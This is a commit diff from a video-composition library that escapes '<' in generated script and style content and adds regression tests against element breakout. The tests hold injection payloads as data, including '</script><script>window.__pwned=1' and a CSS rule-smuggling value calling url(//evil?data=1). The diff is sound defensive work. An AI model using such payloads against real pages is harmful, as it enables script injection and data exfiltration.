mirror of
https://github.com/heygen-com/hyperframes.git
synced 2026-11-14 05:13:47 +00:00
chore: merge in the main restack from #3210
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { parseHTML } from "linkedom";
|
||||
import {
|
||||
buildVariablesByCompScript,
|
||||
scopeCssToComposition,
|
||||
wrapInlineScriptWithErrorBoundary,
|
||||
wrapScopedCompositionScript,
|
||||
@@ -699,13 +700,18 @@ window.__afterTimeline = window.__timelines.scene;
|
||||
});
|
||||
|
||||
it("wraps unscoped composition script source as a string literal", () => {
|
||||
const source = 'window.payload = "</script><script>window.pwned = true;</script>";';
|
||||
const wrapped = wrapInlineScriptWithErrorBoundary(
|
||||
'window.payload = "</script><script>window.pwned = true;</script>";',
|
||||
source,
|
||||
"[HyperFrames] composition script error:",
|
||||
);
|
||||
|
||||
expect(wrapped).toContain("Function(");
|
||||
expect(wrapped).toContain('\\"</script><script>window.pwned = true;</script>\\"');
|
||||
// The literal carries the source verbatim, with `<` escaped so it cannot end the
|
||||
// raw-text `<script>` this is emitted into.
|
||||
expect(wrapped).not.toContain("</script");
|
||||
const literal = /Function\((".*")\)/.exec(wrapped)?.[1];
|
||||
expect(JSON.parse(literal ?? "")).toBe(source);
|
||||
});
|
||||
|
||||
it("rewrites #id CSS selectors to [data-hf-authored-id] when authoredRootId is provided", () => {
|
||||
@@ -886,3 +892,132 @@ window.__timelines['intro'] = tl;
|
||||
expect(gsapTargets).toEqual([["HELLO"]]);
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* The emitted statement is placed inside a `<script>` element, and `<script>` is a
|
||||
* RAW TEXT element: HTML serialization does not escape its content and the tokenizer
|
||||
* closes it at the first `</script`. `JSON.stringify` escapes `"` and `\` but not `/`,
|
||||
* so an unescaped variable value could close the element and have the remainder parsed
|
||||
* as markup — turning composition data into executable script.
|
||||
*/
|
||||
/**
|
||||
* Every payload leads with a benign `<` before its `</script`, so escaping only the
|
||||
* first `<` is not enough to pass: that pins the `/g` flag on the escape rather than
|
||||
* merely "an escape ran". A lone `<` in a value is the common case (`a < b`, `<em>`),
|
||||
* so a payload whose breakout is not the first `<` is the realistic one.
|
||||
*/
|
||||
const SCRIPT_BREAKOUT = "x<y</script><script>window.__pwned=1//";
|
||||
|
||||
/** Serialize into a document the way the compilers do, then re-parse it. */
|
||||
function scriptsAfterRoundTrip(body: string): string[] {
|
||||
const { document } = parseHTML("<!doctype html><html><head></head><body></body></html>");
|
||||
const el = document.createElement("script");
|
||||
el.textContent = body;
|
||||
document.body.appendChild(el);
|
||||
const { document: reparsed } = parseHTML(document.toString());
|
||||
return [...reparsed.querySelectorAll("script")].map((s) => s.textContent ?? "");
|
||||
}
|
||||
|
||||
describe("buildVariablesByCompScript — <script> breakout", () => {
|
||||
it("does not let a variable VALUE close the script element", () => {
|
||||
const body = buildVariablesByCompScript({
|
||||
"comp-a": { greeting: SCRIPT_BREAKOUT },
|
||||
});
|
||||
expect(body).not.toBeNull();
|
||||
expect(body).not.toContain("</script");
|
||||
expect(scriptsAfterRoundTrip(body ?? "")).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("does not let a variable KEY close the script element", () => {
|
||||
const body = buildVariablesByCompScript({
|
||||
"comp-a": { [SCRIPT_BREAKOUT]: "x" },
|
||||
});
|
||||
expect(body).not.toContain("</script");
|
||||
expect(scriptsAfterRoundTrip(body ?? "")).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("does not let a COMP ID close the script element", () => {
|
||||
const body = buildVariablesByCompScript({
|
||||
[SCRIPT_BREAKOUT]: { a: "x" },
|
||||
});
|
||||
expect(body).not.toContain("</script");
|
||||
expect(scriptsAfterRoundTrip(body ?? "")).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("keeps the value byte-identical once executed — the escape is transparent", () => {
|
||||
// Run the statement the way the browser does rather than string-slicing it.
|
||||
const variables = { "comp-a": { greeting: "a </script> b <em>c</em>" } };
|
||||
const body = buildVariablesByCompScript(variables) ?? "";
|
||||
const fakeWindow: Record<string, unknown> = {};
|
||||
new Function("window", body)(fakeWindow);
|
||||
expect(fakeWindow.__hfVariablesByComp).toEqual(variables);
|
||||
});
|
||||
|
||||
it("returns null when there are no per-instance values", () => {
|
||||
expect(buildVariablesByCompScript({})).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* The variables table is not the only attacker-reachable literal emitted into a
|
||||
* `<script>`: the wrapper the sub-composition scripts run inside embeds the
|
||||
* composition id four times over (directly, as the timeline id, and inside two
|
||||
* derived selector patterns), plus the authored root id, the scope-selector
|
||||
* override and the error label. All of them are emitted into the same raw-text
|
||||
* element, so each has to survive a serialize/reparse round trip.
|
||||
*/
|
||||
describe("wrapScopedCompositionScript — <script> breakout via the wrapper literals", () => {
|
||||
const LABEL = "[HyperFrames] composition script error:";
|
||||
|
||||
it("does not let a COMP ID close the script element", () => {
|
||||
const body = wrapScopedCompositionScript("console.log(1);", SCRIPT_BREAKOUT);
|
||||
expect(body).not.toContain("</script");
|
||||
expect(scriptsAfterRoundTrip(body)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("keeps the comp id byte-identical — the escape is transparent", () => {
|
||||
const body = wrapScopedCompositionScript("console.log(1);", SCRIPT_BREAKOUT);
|
||||
const literal = /var __hfCompId = (.*);/.exec(body)?.[1];
|
||||
expect(literal).toBeDefined();
|
||||
expect(JSON.parse(literal ?? "")).toBe(SCRIPT_BREAKOUT);
|
||||
});
|
||||
|
||||
it("does not let the AUTHORED ROOT ID close the script element", () => {
|
||||
const body = wrapScopedCompositionScript(
|
||||
"console.log(1);",
|
||||
"comp-a",
|
||||
LABEL,
|
||||
undefined,
|
||||
"comp-a",
|
||||
SCRIPT_BREAKOUT,
|
||||
);
|
||||
expect(body).not.toContain("</script");
|
||||
expect(scriptsAfterRoundTrip(body)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("does not let the SCOPE SELECTOR override close the script element", () => {
|
||||
const body = wrapScopedCompositionScript("console.log(1);", "comp-a", LABEL, SCRIPT_BREAKOUT);
|
||||
expect(body).not.toContain("</script");
|
||||
expect(scriptsAfterRoundTrip(body)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("does not let the ERROR LABEL close the script element", () => {
|
||||
const body = wrapScopedCompositionScript("console.log(1);", "comp-a", SCRIPT_BREAKOUT);
|
||||
expect(body).not.toContain("</script");
|
||||
expect(scriptsAfterRoundTrip(body)).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("wrapInlineScriptWithErrorBoundary — <script> breakout", () => {
|
||||
it("does not let the wrapped SOURCE close the script element", () => {
|
||||
const body = wrapInlineScriptWithErrorBoundary(`var a = "${SCRIPT_BREAKOUT}";`, "[err]");
|
||||
expect(body).not.toContain("</script");
|
||||
expect(scriptsAfterRoundTrip(body)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("does not let the ERROR LABEL close the script element", () => {
|
||||
const body = wrapInlineScriptWithErrorBoundary("var a = 1;", SCRIPT_BREAKOUT);
|
||||
expect(body).not.toContain("</script");
|
||||
expect(scriptsAfterRoundTrip(body)).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -250,6 +250,26 @@ export function scopeCssToComposition(
|
||||
return root.toResult({ map: false }).css;
|
||||
}
|
||||
|
||||
/**
|
||||
* Serialize a value as a JS literal safe to emit inside a `<script>` element.
|
||||
*
|
||||
* `<script>` is a RAW TEXT element: HTML serialization does not escape its
|
||||
* content, and the tokenizer ends the element at the first `</script` — in any
|
||||
* string, comment or regex context. `JSON.stringify` escapes `"` and `\` but
|
||||
* neither `<` nor `/`, so any dynamic literal carrying `</script>` would close
|
||||
* the element early and have the remainder parsed as markup. Rewriting every
|
||||
* `<` to `<` removes the only byte that can start a closing tag, and is
|
||||
* transparent to both `JSON.parse` and the JS string grammar, so the value the
|
||||
* runtime reads is unchanged.
|
||||
*
|
||||
* Every dynamic literal in an emitted script body must go through here: a
|
||||
* per-value guard on this surface has already been missed once, since the
|
||||
* composition id reaches the emitted script through four separate literals.
|
||||
*/
|
||||
function jsonScriptLiteral(value: unknown): string {
|
||||
return JSON.stringify(value).replace(/</g, "\\u003c");
|
||||
}
|
||||
|
||||
export function wrapScopedCompositionScript(
|
||||
source: string,
|
||||
compositionId: string,
|
||||
@@ -258,19 +278,19 @@ export function wrapScopedCompositionScript(
|
||||
timelineCompositionId = compositionId,
|
||||
authoredRootId?: string | null,
|
||||
): string {
|
||||
const compositionIdLiteral = JSON.stringify(compositionId);
|
||||
const timelineCompositionIdLiteral = JSON.stringify(timelineCompositionId);
|
||||
const errorLabelLiteral = JSON.stringify(errorLabel);
|
||||
const compositionIdLiteral = jsonScriptLiteral(compositionId);
|
||||
const timelineCompositionIdLiteral = jsonScriptLiteral(timelineCompositionId);
|
||||
const errorLabelLiteral = jsonScriptLiteral(errorLabel);
|
||||
const escapedCompositionId = escapeRegExp(compositionId);
|
||||
const authoredRootIdLiteral = JSON.stringify(authoredRootId?.trim() || null);
|
||||
const scopeSelectorLiteral = JSON.stringify(scopeSelectorOverride ?? null);
|
||||
const rootSelectorPatternLiteral = JSON.stringify(
|
||||
const authoredRootIdLiteral = jsonScriptLiteral(authoredRootId?.trim() || null);
|
||||
const scopeSelectorLiteral = jsonScriptLiteral(scopeSelectorOverride ?? null);
|
||||
const rootSelectorPatternLiteral = jsonScriptLiteral(
|
||||
String.raw`\[\s*data-composition-id\s*=\s*(?:"${escapedCompositionId}"|'${escapedCompositionId}')\s*\]`,
|
||||
);
|
||||
const timingSelectorPatternLiteral = JSON.stringify(
|
||||
const timingSelectorPatternLiteral = jsonScriptLiteral(
|
||||
String.raw`\s*\[\s*data-(?:start|duration)\s*=\s*(?:"[^"]*"|'[^']*')\s*\]`,
|
||||
);
|
||||
const authoredRootIdFormsLiteral = JSON.stringify(
|
||||
const authoredRootIdFormsLiteral = jsonScriptLiteral(
|
||||
getAuthoredRootIdSelectorForms(authoredRootId?.trim() || ""),
|
||||
);
|
||||
return `(function(){
|
||||
@@ -278,7 +298,7 @@ export function wrapScopedCompositionScript(
|
||||
var __hfTimelineCompId = ${timelineCompositionIdLiteral};
|
||||
var __hfErrorLabel = ${errorLabelLiteral};
|
||||
var __hfAuthoredRootId = ${authoredRootIdLiteral};
|
||||
var __hfAuthoredRootAttr = ${JSON.stringify(AUTHORED_ROOT_ID_ATTR)};
|
||||
var __hfAuthoredRootAttr = ${jsonScriptLiteral(AUTHORED_ROOT_ID_ATTR)};
|
||||
var __hfEscapeAttr = function(value) {
|
||||
return (value + "").replace(/\\\\/g, "\\\\\\\\").replace(/"/g, "\\\\\\"");
|
||||
};
|
||||
@@ -585,7 +605,7 @@ ${source.replace(/<\/(script)/gi, "<\\/$1")}
|
||||
}
|
||||
|
||||
export function wrapInlineScriptWithErrorBoundary(source: string, errorLabel: string): string {
|
||||
return `(function(){ try { Function(${JSON.stringify(source)}).call(window); } catch (_err) { console.error(${JSON.stringify(errorLabel)}, _err); } })();`;
|
||||
return `(function(){ try { Function(${jsonScriptLiteral(source)}).call(window); } catch (_err) { console.error(${jsonScriptLiteral(errorLabel)}, _err); } })();`;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -601,10 +621,14 @@ export function wrapInlineScriptWithErrorBoundary(source: string, errorLabel: st
|
||||
* `getVariables()` returned `{}` only during render — parametrized sub-comps
|
||||
* silently shipped blank/default text in the final MP4 while snapshot QA passed
|
||||
* (issue #2064). Both callers now share this one builder so they can't drift.
|
||||
*
|
||||
* Values, keys and composition ids are all attacker-reachable, so the whole
|
||||
* table goes through `jsonScriptLiteral` — see there for why.
|
||||
*/
|
||||
export function buildVariablesByCompScript(
|
||||
variablesByComp: Record<string, Record<string, unknown>>,
|
||||
): string | null {
|
||||
if (!variablesByComp || Object.keys(variablesByComp).length === 0) return null;
|
||||
return `window.__hfVariablesByComp = Object.assign({}, window.__hfVariablesByComp || {}, ${JSON.stringify(variablesByComp)});`;
|
||||
const json = jsonScriptLiteral(variablesByComp);
|
||||
return `window.__hfVariablesByComp = Object.assign({}, window.__hfVariablesByComp || {}, ${json});`;
|
||||
}
|
||||
|
||||
@@ -4,8 +4,9 @@ import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { parseHTML } from "linkedom";
|
||||
import { afterEach, beforeEach, describe, it, expect, vi } from "vitest";
|
||||
import { bundleToSingleHtml } from "./htmlBundler";
|
||||
import { bundleToSingleHtml, emitRootCompositionVariableStyles } from "./htmlBundler";
|
||||
import { resetUnknownEnumWarnings } from "../runtime/getVariables";
|
||||
import { sanitizeCssValue } from "../runtime/applyVariableBindings";
|
||||
import { getHyperframeRuntimeScript } from "../generated/runtime-inline";
|
||||
|
||||
function makeTempProject(files: Record<string, string>): string {
|
||||
@@ -1510,3 +1511,75 @@ describe("bundleToSingleHtml unknown enum values", () => {
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Composition variable values are emitted as CSS declarations inside a `<style>`
|
||||
* element. `<style>` is a RAW TEXT element: HTML serialization does not escape its
|
||||
* content and the tokenizer closes it at the first `</style`. An unescaped value could
|
||||
* therefore close the element and have the remainder parsed as markup.
|
||||
*/
|
||||
describe("emitRootCompositionVariableStyles — <style> breakout", () => {
|
||||
/**
|
||||
* The payload leads with a benign `<` before its `</style`, so escaping or
|
||||
* stripping only the first match does not pass: that pins the `/g` flag rather
|
||||
* than merely "something ran". A lone `<` in a value (`a < b`) is the common case.
|
||||
*/
|
||||
const BREAKOUT = "x<y</style><script>window.__pwned=1</script><style>";
|
||||
|
||||
/** Emit into a document, serialize it the way the compilers do, then re-parse. */
|
||||
function scriptsAfterRoundTrip(
|
||||
variablesByComp: Record<string, Record<string, unknown>>,
|
||||
body = "x",
|
||||
) {
|
||||
const { document } = parseHTML(`<!doctype html><html><head></head><body>${body}</body></html>`);
|
||||
emitRootCompositionVariableStyles(document, variablesByComp);
|
||||
const { document: reparsed } = parseHTML(document.toString());
|
||||
return {
|
||||
scripts: [...reparsed.querySelectorAll("script")].map((s) => s.textContent ?? ""),
|
||||
css: [...reparsed.querySelectorAll("style")].map((s) => s.textContent ?? "").join("\n"),
|
||||
reparsed,
|
||||
};
|
||||
}
|
||||
|
||||
it("does not let a variable VALUE close the style element", () => {
|
||||
const { scripts } = scriptsAfterRoundTrip({ "comp-a": { brand: BREAKOUT } });
|
||||
expect(scripts).toEqual([]);
|
||||
});
|
||||
|
||||
it("does not let a COMP ID close the style element through the generated selector", () => {
|
||||
// The comp id reaches the stylesheet as an attribute selector, which is escaped
|
||||
// for selector-string syntax but says nothing about element termination.
|
||||
const { scripts, css } = scriptsAfterRoundTrip(
|
||||
{ [`comp-a${BREAKOUT}`]: { brand: "#fff" } },
|
||||
'<div data-composition-id="comp-a"></div>',
|
||||
);
|
||||
expect(scripts).toEqual([]);
|
||||
expect(css).not.toContain("</style");
|
||||
});
|
||||
|
||||
it("strips the characters that smuggle a sibling rule, matching the runtime", () => {
|
||||
// `sanitizeCssValue` is the runtime contract for a scalar folded into
|
||||
// `background: var(--x)`; the compile path has to reach the same result, or a
|
||||
// rendered MP4 diverges from the preview it was approved from.
|
||||
const smuggle = "red; } body { background-image: url(//evil?data=1) } x { y:z";
|
||||
const { css } = scriptsAfterRoundTrip({ "comp-a": { brand: smuggle } });
|
||||
|
||||
expect(css).not.toContain("body {");
|
||||
// One rule, one declaration: with no `;{}` left in the value there is nothing to
|
||||
// close the declaration with, so no sibling rule can be opened.
|
||||
expect(css.match(/\}/g) ?? []).toHaveLength(1);
|
||||
expect(css).toContain(`--brand: ${sanitizeCssValue(smuggle)};`);
|
||||
});
|
||||
|
||||
it("strips '<' from a value the way the runtime does", () => {
|
||||
const { css, scripts } = scriptsAfterRoundTrip({ "comp-a": { brand: "a<b" } });
|
||||
expect(scripts).toEqual([]);
|
||||
expect(css).not.toContain("a<b");
|
||||
expect(css).toContain("ab");
|
||||
});
|
||||
|
||||
it("leaves values without '<' untouched", () => {
|
||||
const { css } = scriptsAfterRoundTrip({ "comp-a": { brand: "#ff0066" } });
|
||||
expect(css).toContain("#ff0066");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { markFlattenedInnerRoot } from "../runtime/flattenedRoot";
|
||||
export { FLATTENED_INNER_ROOT_STRIP_ATTRS } from "../runtime/flattenedRoot";
|
||||
import { parseHostVariableValues, warnUnknownEnumValues } from "../runtime/getVariables";
|
||||
import { sanitizeCssValue } from "../runtime/applyVariableBindings";
|
||||
import { cssVariableName } from "../tokenSlug";
|
||||
import { readFileSync, existsSync } from "fs";
|
||||
import { resolve, relative, dirname, isAbsolute, sep } from "path";
|
||||
@@ -389,8 +390,17 @@ function rewriteCssUrlsWithInlinedAssets(cssText: string, projectDir: string): s
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Selectors built here are serialized inside a `<style>` element, which is a RAW
|
||||
* TEXT element: the tokenizer ends it at the first `</style` regardless of CSS
|
||||
* context, and the serializer does not escape its content. Backslash and quote
|
||||
* escaping keeps the selector's own string grammar valid; it does nothing about
|
||||
* element termination, so `<` needs the CSS hex escape too. `\3c ` is legal
|
||||
* wherever a string is, and matches the same attribute value, so selectors keep
|
||||
* matching. The trailing space terminates the escape.
|
||||
*/
|
||||
function cssAttributeSelector(attr: string, value: string): string {
|
||||
const escaped = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
|
||||
const escaped = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"').replace(/</g, "\\3c ");
|
||||
return `[${attr}="${escaped}"]`;
|
||||
}
|
||||
|
||||
@@ -1135,6 +1145,37 @@ export async function bundleToSingleHtml(
|
||||
return document.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Make a scalar variable value safe to bake into a stylesheet.
|
||||
*
|
||||
* Two independent hazards, so two layers:
|
||||
*
|
||||
* 1. `sanitizeCssValue` is the runtime's own contract (`applyVariableBindings`,
|
||||
* and `docs/concepts/variables.mdx` promises it): a scalar folded into
|
||||
* `background: var(--x)` must not be able to close the declaration and open a
|
||||
* new rule (`red; } body { background-image: url(//evil?data=…) }`). The
|
||||
* compile path has to reach the same result as the runtime — a value the
|
||||
* runtime strips but a compile-time emit honours would make the rendered MP4
|
||||
* diverge from the preview.
|
||||
* 2. These rules are then serialized inside a `<style>` element, which is a RAW
|
||||
* TEXT element: HTML serialization does not escape its content and the
|
||||
* tokenizer ends it at the first `</style`. `\3c ` is the CSS escape for `<`,
|
||||
* valid in every value position including inside an unquoted `url()`, and
|
||||
* resolves back to `<`, so rendering is unchanged. The trailing space is
|
||||
* consumed as part of the escape.
|
||||
*
|
||||
* The sanitizer already removes `<`, so today layer 2 is redundant for values
|
||||
* and load-bearing only for the selector (`cssAttributeSelector`, which must
|
||||
* preserve `<` to keep matching). It stays because the two layers answer to
|
||||
* different rules: narrowing the scalar character set must not silently reopen
|
||||
* an element-termination hole.
|
||||
*
|
||||
* Variable IDs need no equivalent: `cssVariableName` slugifies them.
|
||||
*/
|
||||
function cssSafeVariableValue(value: string | number): string {
|
||||
return sanitizeCssValue(String(value)).replace(/</g, "\\3c ");
|
||||
}
|
||||
|
||||
/** One stylesheet rule defining primitive composition variables under `selector`. */
|
||||
function compositionVariablesCssBlock(
|
||||
variables: Record<string, unknown>,
|
||||
@@ -1143,7 +1184,7 @@ function compositionVariablesCssBlock(
|
||||
const lines: string[] = [];
|
||||
for (const [id, value] of Object.entries(variables)) {
|
||||
if ((typeof value === "string" && value !== "") || typeof value === "number") {
|
||||
lines.push(` ${cssVariableName(id)}: ${String(value)};`);
|
||||
lines.push(` ${cssVariableName(id)}: ${cssSafeVariableValue(value)};`);
|
||||
}
|
||||
}
|
||||
if (lines.length === 0) return null;
|
||||
|
||||
@@ -75,8 +75,13 @@ function isSafeMediaUrl(url: string): boolean {
|
||||
* characters is legal in a scalar variable value (string, number, color, font
|
||||
* family), so removing them is lossless for real inputs and neutralizes the
|
||||
* declaration/URL-exfiltration channel.
|
||||
*
|
||||
* Exported because the static compiler bakes the same scalars into a stylesheet
|
||||
* at build time and has to reach the same result: a value that the runtime
|
||||
* strips but a compile-time emit passes through would make the rendered MP4
|
||||
* differ from the preview, which is the more dangerous of the two directions.
|
||||
*/
|
||||
function sanitizeCssValue(value: string): string {
|
||||
export function sanitizeCssValue(value: string): string {
|
||||
return value.replace(/[;{}<>\r\n]/g, "");
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user